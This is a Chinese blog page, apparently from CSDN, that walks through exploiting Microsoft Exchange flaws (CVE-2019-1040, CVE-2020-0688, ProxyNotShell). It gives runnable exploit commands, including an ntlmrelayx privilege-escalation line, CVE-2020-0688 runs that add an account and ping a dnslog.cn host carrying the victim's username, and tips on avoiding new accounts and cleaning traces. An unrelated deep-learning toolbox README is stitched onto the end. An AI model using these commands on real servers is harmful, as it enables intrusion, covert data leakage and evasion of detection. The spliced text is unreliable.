Exchange漏洞

OSCS开源安全周报第13期:Exchange 高危漏洞公开 OSCS 社区共收录安全漏洞31个,公开漏洞值得关注的是 Apache Commons JXPath 存在代码执行漏洞(CVE-2022-41852),Microsoft Exchange 远程代码执行漏洞(ProxyNotShell(CVE-2022-41040),Apache Tomcat 条件竞争漏洞(CVE-2021-43980),FasterXML jackson-databind 小于2.14.0-rc1拒绝服务漏洞(CVE-2022-42003)。 阅读详情
AI摘要

文章详细介绍了Exchange服务器的不同版本及其角色,重点讨论了几个关键漏洞,包括CVE-2018-8581、CVE-2019-1040和CVE-2020-0688,以及如何利用这些漏洞进行权限提升和远程代码执行。ProxyNotShell是2022年的新漏洞,涉及CVE-2022-41040和CVE-2022-41082,允许攻击者执行特权命令和横向移动。

Exchange是微软出品的邮件服务器系统,凭借其强大的功能优势被应用到很多企业、学校的邮件系统搭建中。截至目前,Exchange已有多个成熟版本,例如:Exchange Server 2010、2013、2016、2019等。此外,Exchange又可分为Exchange Server和Exchange Online。

目前最新版本Exchange主要包含两个角色,分别是邮箱服务器角色和边缘传输服务器角色。

邮箱服务器角色

1.包含用于路由邮件的传输服务;

2.包含处理、呈现和存储数据的邮箱数据库;

3.包含接受所有协议客户端连接的客户端访问服务;

http、RPC over HTTP、MAPI over HTTP、pop3、imap4、um呼叫

4.包含向邮箱提供语音邮件和其他电话服务功能的统一消息(UM)服务。

边缘传输服务器角色

1.处理Exchange组织的所有外部邮件流;

2.通常安装在外围网络中,可订阅内部Exchange组织。当Exchange组织接收和发送邮件时,EdgeSync同步进程会向边缘传输服务器提供收件人信息和其他配置信息。

渗透测试人员最为关心Exchange对外提供的访问接口,以及使用的加密验证类型。

相关接口

1.outlook客户端(MAPI协议)

2.outlook web app(以web形式访问 https://域名或ip/owa)

3.POP3和IMAP4(可以通过POP3协议利用其他客户端)

Exchange密码枚举工具GitHub - sensepost/ruler: A tool to abuse Exchange services

VE-2018-8581 

这个漏洞利用一个可以正常登入的普通用户账户,通过ssrf调用Exchange Server凭证到已控制的内网服务器上,并默认Exchange Server权限较高,就达到了提权的目的。

 GitHub - sensepost/ruler: A tool to abuse Exchange services

CVE-2019-1040

在这个漏洞之前利用smb转ldap时,有个mic检查导致无法中转成功,但利用这个CVE-2019-1040漏洞就实现了直接绕过mic检查,这是这个漏洞的关键点。利用方法类似2018-8581的形式。

更新我们的impacket

gti pull https://github.com/SecureAuthCorp/impacket

ntlmrelayx.py  --remove-mic -t ldap://10.0.0.158 --escalate-user test   -smb2support

触发SpoolService的bug产生smb回连工具

https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py

其他等同2018-8581部分

两个漏洞的区别

2018-8581是利用exchange漏洞产生http->ldap中转实现的提权,2019-1040是产生的smb->ldap中转,并且绕过mic检查。

CVE-2020-0688 exchange远程代码执行漏洞

影响版本:

Microsoft Exchange Server 2010 Service Pack 3

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

漏洞介绍:

所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时,攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

--validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)

--validationalg = SHA1(默认,漏洞产生原因)

--generator=B97B4E27(基本默认)

--viewstateuserkey = ASP.NET_SessionId(可以通过手工获取变量,也可以通过脚本模拟用户登录获取该值)

以上4个值中仅需要用户登录之后访问/ecp/default.aspx 界面在header里面获取ASP.NET_SessionId,其余的均为默认值

 图片

 图片

 

使用方法:

python CVE-2020-0688_EXP.py -s https://192.168.1.152 -u test@exchange2016.com  -p !QAZ2wsx -c "cmd /c calc.exe"  在目标机中打开计算器

-s 地址

-u 用户名

-p 用户名密码

-c 命令

图片

图片

python CVE-2020-0688_EXP.py -s https://192.168.1.152 -u temp@exchange2016.com  -p !QAZ2wsx -c "cmd /c  net user ad !QAZ2wsx /add"

添加新用户ad

图片

注意事项:可以访问Exchange Control Panel (ECP)组件的用户,这一点非常重要!!!

目前GitHub公开的exp利用工具很多都是作者用超级管理员账号进行的测试,但是对于普通用户来说,是无法进行使用的,所以本次复现中使用的exp是一个比较好的利用工具,可直接使用。

链接地址:

https://github.com/Yt1g3r/CVE-2020-0688_EXP

关于后渗透阶段:

可参考:

https://www.freebuf.com/company-information/211051.html

 

1. 判断是否存在漏洞:

在判断是否存在漏洞中,从最初的版本利用来看,可以对未安装cve2020-0688安全补丁的Exchange Server 2013所有版本、Exchange Server 2016(截至2020年3月17日之前的版本)、Exchange Server 2019(截至2020年3月17日之前的版本)有效。在未打补丁的情况下,基本上算是一个通杀。

具体来讲,可以通过以下方式判断:

1)查看版本号和官网的版本进行对比

图片

图片

2)通过普通用户登录之后,访问https://exchnage/ecp/default.aspx

图片

如果默认值为B97B4E27,且在headers中存在ASP.NET_SessionId则可能存在漏洞。

图片

图片

2. 判断存在漏洞的版本是否攻击成功

1)在渗透初期可以使用dnslog来探测命令是否执行成功,示例如下:

首先打开网址:https:dnslog.cn

图片

使用命令如下:

python CVE-2020-0688_EXP.py -s https://192.168.1.160 -u Administrator@exchange2016.com -p !QAZ2wsx -c "cmd /c ping %USERNAME%.3d3uhm.dnslog.cn"

图片

图片

由此可以检测攻击有效。

注意事项:在实际测试中,最好DNSlog服务自行搭建,申请临时域名来测试。

3. 攻击操作

https://www.freebuf.com/company-information/211051.html

可参考以上链接的内容,获取某个用户的密码账号等信息,方法有很多。

最好不要新建用户,可以采用激活guest的方法来,后期也要痕迹清理。

CVE-2022-41040 和 CVE-2022-41082

 CVE-2022-41040,是一个服务器端请求伪造 (SSRF) 漏洞,允许经过身份验证的攻击者远程触发下一个漏洞 CVE-2022-41082。反过来,当攻击者可以访问 MS Exchange PowerShell 时,第二个漏洞允许远程代码执行 (RCE)。正如 GTSC 报告中所指出的,这两个漏洞在野外被一起利用,在易受攻击的服务器上创建后门,并执行横向移动。

Microsoft 称,这些漏洞影响了 MS Exchange Server 2013、MS Exchange Server 2016 和 MS Exchange Server 2019。

2022 年 10 月 11 日,Microsoft 发布了补丁以覆盖这些漏洞,作为其补丁星期二更新的一部分。之后,在 11 月 17 日,一名安全研究人员发布了第一个工作 PoC。这是一个接受以下参数的 Python 脚本:用户、密码、邮件地址和要在受害者主机上执行的命令行。

网络安全社区将这对漏洞称为ProxyNotShell。该名称指的是最近的 ProxyShell 攻击链,其中包含 2021 年披露的 Exchange 服务器中的类似漏洞。ProxyShell 是一组三个漏洞:CVE-2021-34473、CVE-2021-34523 和 CVE-2021-31207。攻击者使用它们创建 Web shell 并在易受攻击的 Microsoft Exchange 服务器上执行任意代码。

ProxyNotShell 利用细节

此攻击的第一步是利用CVE-2022-41040访问 PowerShell API 端点。在 Exchange自动发现机制中使用不充分的输入数据过滤,具有已知注册帐户登录名和密码组合的攻击者可以访问 Exchange Server API 的特权端点(https://%exchange server domain%/powershell)。此访问允许攻击者在服务器计算机上的 Exchange 环境中执行 PowerShell 命令,通过 XML SOAP 协议将它们传递到有效负载中。

在下一步中,攻击者必须通过WSMAN 协议访问基于 Web 的企业管理 (WBEM)。攻击者在易受攻击的系统上启动 shell,以通过Windows 远程管理 (PsRemoting)进一步执行 PowerShell 脚本。

带有 XML SOAP 的 HTTP POST 请求以启动 PsRemoting

启动外壳后,攻击者应立即延长其生命周期;否则,shell 将被关闭,因为它的过期时间默认太短。这是在 Exchange Server 上进一步执行命令所必需的。为此,攻击者立即通过启用保持活动选项的WSMAN发送特殊请求。

使用 XML SOAP 的 HTTP POST 请求以延长 shell 的生命周期

之后,攻击者利用了第二个漏洞——CVE-2022-41082。通过使用 PowerShell Remoting,攻击者发送创建地址簿的请求,将编码和序列化的数据与特殊负载作为参数传递。在已发布的 PoC 中,此编码数据包含一个名为System.UnitySerializationHolder的小工具,它会生成System.Windows.Markup.XamlReader类的对象。此类处理来自负载的 XAML 数据,该负载创建System.Diagnostics类的新对象并包含用于在目标系统上打开新进程的方法调用。在已发布的 PoC 中,此进程为calc.exe。

带有 XML SOAP 的 HTTP POST 请求启动新进程

 执行 calc.exe 进程的主要负载部分

ProxyNotShell 后开发

在漏洞被披露几周后,卡巴斯基检测到ProxyNotShell在野外被成功利用。演员执行了以下操作:

  • 侦察(用户、组、域)
  • 各种劫持尝试(甚至丢弃易受攻击的二进制文件)
  • 远程进程注入
  • 坚持
  • 反壳

在这种情况下,攻击者拥有执行此类入侵的凭据。他们利用了公司的 Exchange 服务器,因此能够在 Exchange 机器上创建他们想要的任何进程,将命令作为有效负载传递。

在服务器端,所有通过漏洞利用启动的进程都有一个带有特定参数的主父进程:w3wp.exe -ap “msexchangepowershellapppool”。

攻击的这些利用后步骤与TrendMicro报告的攻击步骤非常相似,唯一的区别是所利用的漏洞。

我们的产品可防止所有这些利用后步骤以及利用CVE-2022-41040和CVE-2022-41082漏洞的其他攻击。ProxyNotShell的检测名称是PDM:Exploit.Win32.Generic。

 

Exchange漏洞分析:SSRF RCE 0x00 前言 在今年3月份,微软公布了多个Microsoft Exchange的高危漏洞。ProxyLogon是Exchange历史上最具影响力的漏洞之一,有上千台Exchange服务器被植入了webshell后门。 0x01 漏洞描述 CVE-2021-26855是一个SSRF漏洞,利用该漏洞可以绕过Exchange的身份验证,CVE-2021-27065是一个文件写入漏洞。二者结合可以在未登录的状态下写入webshell。 0x02 影响范围 Exchange Server 2019 < 15. 阅读详情

相关推荐

exchange proxyshell漏洞学习

文章目录1. proxyshell1.1 影响版本1.2 CVE-2021-34473参考文章 1. proxyshell proxyshell利用链由三个cve组成,分别如下: — CVE-2021-34473 - 预认证路径混淆导致 ACL 绕过 — CVE-2021-34523 - Exchange PowerShell 后端的特权提升 — CVE-2021-31207 - 后认证任意文件写入导致 RCE 使用 ProxyShell,未经身份验证的攻击者可以通过暴露的 443 端口在 Microso

Shanfenglan's blog 5245

微软Exchange Server 0Day漏洞,尽快修复

微软Exchange Server 0Day漏洞 2022 年 9 月 30 日更新:Microsoft 正在调查两个报告的影响 Microsoft Exchange Server 2013、Exchange Server 2016 和 Exchange Server 2019 的零日漏洞。第一个漏洞被识别为CVE-2022-41040,是一个服务器端请求伪造 (SSRF) 漏洞,另一个是标识为CVE-2022-41082,当攻击者可以访问 PowerShell 时允许远程代码执行 (RCE)。

u012288737的博客 2206

exchange proxylogon漏洞学习

文章目录1. 前言2. 理解CAS2.1 理解Frontend中的proxy module2.1.1 分析ProxyRequestHandler-Request section2.1.2 分析ProxyRequestHandler-Proxy Section2.1.3 分析ProxyRequestHandler-Response Section2.2 理解Backend中的Rehydration Module3. 攻击点3.1 cve-2021-26855 SSRF漏洞3.2 CVE-2021-270

Shanfenglan's blog 2236

Microsoft Exchange Server的RCE漏洞

知识面,决定看到的攻击面有多广。知识链,决定发动的杀伤链有多深。

m0_73399576的博客 1345

〖EXP〗Ladon CVE-2020-0688 Exchange漏洞利用

洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

K8哥哥 521

Ladon7.4 CVE-2020-0688 Exchange序列化漏洞利用

漏洞编号 CVE-2020-0688 漏洞原理 漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以利用默认秘钥对服务器发起攻击,在Exch

K8哥哥 903

细数微软Exchange的那些高危漏洞

今天,多个安全厂家都发布了微软Exchange多个高危漏洞的通告,涉及漏洞编号CVE-2021-26855、CVE-2021-26857、CVE-2021-26858/CVE-2021-2...

1262

手把手教你用CMake和MinGW64编译libuvc:静态链接与动态链接的选择

本文详细指导如何在Windows平台上使用CMake和MinGW64编译libuvc库,并深入探讨静态链接与动态链接的选择策略。通过对比两种链接方式在部署复杂度、内存占用和版本管理等方面的差异,帮助开发者根据项目需求做出最优决策,实现高效的USB摄像头开发。

weixin_29171087的博客 255

微软Exchange多个高危漏洞通告

报告编号:B6-2021-030301 报告来源:360CERT 报告作者:360CERT 更新日期:2021-03-03 0x01事件简述 2021年03月03日,360CERT监测发现微软发布了Exchange 多个高危漏洞的风险通告,该漏洞编号为CVE-2021-26855,CVE-2021-26857,CVE-2021-26858,CVE-2021-27065,事件等级:严重,事件评分:9.8。 对此,360CERT建议广大用户及时将exchange升级到最新版本。与此同时,请做好资产自查以及预防.

爱国小白帽 1635

别再手动下单了!用Python+EasyTrader+同花顺,5分钟搞定你的第一个自动化交易机器人

本文详细介绍了如何使用Python和EasyTrader结合同花顺客户端快速构建自动化交易机器人。从环境配置到实战脚本编写,涵盖自动打新、条件单、跟单策略等核心功能,并分享性能优化与风险控制技巧,帮助投资者高效实现自动化交易。

weixin_30381317的博客 398

SAP物料主数据表结构全解析:ABAP开发与MM模块必知必会

本文深入解析SAP物料主数据的核心表结构,涵盖MARA、MAKT、MARC、MARD及MVKE等关键表。详细阐述了物料主数据在ABAP开发和MM模块中的存储逻辑与关联关系,帮助开发者和顾问高效处理数据查询、增强功能及业务故障排查,是掌握SAP物料管理基础的必读指南。

weixin_29216957的博客 383

微软修复了 IE 和 Exchange 的 0day 漏洞

开发四年只会写业务代码,分布式高并发都不会还做程序员? 微软12号发布的例行安全更新修复了正在被利用的一个 IE 0d...

weixin_33725722的博客 177

深入解析反射式DLL注入:从原理到实战优化

本文深入解析反射式DLL注入技术,从原理到实战优化全面剖析。通过PE文件内存重构、反射加载器实现及免杀增强方案,展示如何绕过安全检测并提升性能。适用于红队行动、内网渗透等场景,是高级攻防对抗中的关键技术。

weixin_28339967的博客 404

Microsoft Exchange Server中的四个零日漏洞已被链接使用在野袭击

CVE-2021-26855,CVE-2021-26857,CVE-2021-26858,CVE-2021-27065:被在野利用的Microsoft Exchange Server中的四个零日漏洞。 背景 美国时间3月2日,Microsoft发布了专门的安全公告,以解决Microsoft Exchange Server中四个在野外被利用的零日漏洞。 在一篇博客文章中,Microsoft将对这些缺陷的利用归因于一个名为HAFNIUM的国家背景资助的黑客组织。微软博客称,该组织历来以美国机构为目标,其中包

爱国小白帽 3244

手把手教你学simulink(31.31)--双向DCDC电源场景示例:设计并实现一个基于变频控制的双向降压变换

设计并实现一个基于 Simulink 的双向降压变换器,能够在充电模式(从高压侧向低压侧传输能量)和放电模式(从低压侧向高压侧传输能量)之间切换,确保输出电压稳定,并根据负载变化自动调整工作模式。

MHD0815的博客 344

【异常】OpenClaw 飞书端 OpenClaw: access not configured. Pairing code: [] Ask the bot owner to approve with

摘要: OpenClaw飞书机器人交互中出现的access not configured报错,是因用户或组织未配置访问权限触发的拦截提示。报错包含组织单元ID和配对校验码,需管理员审批开通权限。普通用户需提交完整报错信息给管理员处理;管理员可通过执行标准化命令单次审批,或批量配置组织白名单优化权限管理。建议提前梳理权限范围、及时同步组织架构变更,并定期审计权限列表以确保安全合规。

奶爸的编程之路,也就一周冷个三天 371

CVE-2020-0688 exchange远程代码执行漏洞

影响版本: Microsoft Exchange Server 2010 Service Pack 3 Microsoft Exchange Server 2013 Microsoft Exchange Server 2016 Microsoft Exchange Server 2019 漏洞介绍: 所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewSta

crowsec 2641

基于Proximal Policy Optimization的无人机姿态控制系统的研究及Matlab实现

本文简要介绍了基于Proximal Policy Optimization算法的无人机姿态控制系统,并使用Matlab实现了一个简化版的代码。PPO算法的特点在于能够解决强化学习中的部分可观察性问题,同时还能保持策略网络更新的稳定性。本文将介绍基于Proximal Policy Optimization(PPO)算法的无人机姿态控制系统,并使用Matlab进行简化版实现。无人机姿态控制是指通过调整飞行器各部件的参数,使其保持特定角度、方向和位置的状态。本文将实现无人机的横滚姿态控制,并将其作为实现的示例。

m0_47037246的博客 716

微软Exchange server 最严重安全漏洞,所有Exchange版本均存在漏洞!

微软Exchange server 产品最严重安全漏洞,当前支持的ExchangeServer 全系版本均中招!目前Exchange 2003和Exchange 2007均未出对应的安全补丁,原因很简单微软已经不提供技术支持服务了。目前还在使用Exchange 2003/2007版本的公司,建议最好升级到Exchange 2013/2016。 关于安全漏洞说明相关信息可以参考以下微软安全公告: ...

weixin_34071713的博客 340

3.摄像头组件- CVP (ISP)

本文介绍 车载摄像头组件-ISP

2401_83458819的博客 1617

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

上一篇: windows10 64位下anaconda配置tensorflow环境
下一篇: Can‘t connect to HTTPS URL because the SSL module is not available
耳语吖
博客等级 码龄9年 215粉丝 158原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值